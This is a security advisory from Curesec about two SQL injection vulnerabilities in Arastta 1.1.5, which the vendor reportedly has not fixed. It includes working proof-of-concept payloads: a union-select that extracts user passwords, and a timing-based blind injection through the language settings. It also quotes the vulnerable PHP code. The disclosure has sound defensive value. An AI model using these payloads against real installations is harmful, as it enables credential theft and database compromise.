[FD] Arastta 1.1.5: SQL Injection

Security Advisory - Curesec Research Team 1. Introduction Affected Product: Arastta 1.1.5 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://arastta.org/ Vulnerability Type: SQL Injection Remote Exploitable: Yes Reported to vendor: 11/21/2015 Disclosed to public: 12/21/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview Arastta is an eCommerce software written in PHP. In version 1.1.5, it is vulnerable to two SQL injection vulnerabilities, one normal injection when searching for products via tags, and one blind injection via the language setting. Both of them require a user with special privileges to trigger. 3. SQL Injection 1 CVSS Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P Description There is an SQL Injection when retrieving products. Currently, only the "filter" variable is vulnerable. Note that the "tag_name" variable would also be vulnerable to SQL injection, if there wasn't a filter that forbid single quotes in the URL. As defense in depth, it might be a good idea to sanitize that value here as well. Note that an account with the right "Catalog -> Filters" is needed to exploit this issue. Proof of Concept POST /Arastta/admin/index.php?route=catalog/product/autocomplete&token=3d6cfa8f9f602a4f47e0dfbdb989a469&filter_name=a&tag_name= HTTP/1.1 tag_text[][value]=abc') union all select password from gv4_user -- - Code /admin/model/catalog/product.php public function getTags($tag_name, $filter_tags = null) { [...] $query = $this->db->query("SELECT DISTINCT(tag) FROM `" . DB_PREFIX . "product_description` WHERE `tag` LIKE '%" . $tag_name . "%'" . $filter); /admin/controller/catalog/product.php public function autocomplete() { [...] if (isset($this->request->get['tag_name'])) { $this->load->model('catalog/product'); if (isset($this->request->get['tag_name'])) { $tag_name = $this->request->get['tag_name']; } else { $tag_name = ''; } $filter = null; if(isset($this->request->post['tag_text'])) { $filter = $this->request->post['tag_text']; } $results = $this->model_catalog_product->getTags($tag_name, $filter); foreach ($results as $result) { $json[] = array( 'tag' => $result, 'tag_id' => $result ); } } 4. SQL Injection 2 CVSS Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P Description There is a second order timing based SQL injection when choosing the language setting. An admin account with the right "Setting -> Setting" is needed to exploit this issue. Alternatively, a user with the right "Localisation -> Languages" can inject a payload as well. However, a user with the right "Setting -> Setting" is still needed to choose the malicious language to trigger the payload. Proof of Concept Visit the setting page: http://localhost/Arastta/admin/index.php?route=setting/setting For the config_language and config_admin_language parameters use: en' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) -- - Visiting any site will trigger the injected code. Code /Arastta/system/library/utility.php public function getDefaultLanguage(){ if (!is_object($this->config)) { return; } $store_id = $this->config->get('config_store_id'); if (Client::isAdmin()){ $sql = "SELECT * FROM " . DB_PREFIX . "setting WHERE `key` = 'config_admin_language' AND `store_id` = '" . $store_id . "'"; } else { $sql = "SELECT * FROM " . DB_PREFIX . "setting WHERE `key` = 'config_language' AND `store_id` = '" . $store_id . "'"; } $query = $this->db->query($sql); $code = $query->row['value']; $language = $this->db->query("SELECT * FROM " . DB_PREFIX . "language WHERE `code` = '" . $code . "'"); return $language->row; } 5. Solution This issue was not fixed by the vendor. 6. Report Timeline 11/21/2015 Informed Vendor about Issue (no reply) 12/10/2015 Reminded Vendor of Disclosure Date (no reply) 12/17/2015 Disclosed to public Blog Reference: http://ift.tt/1NCqEY9

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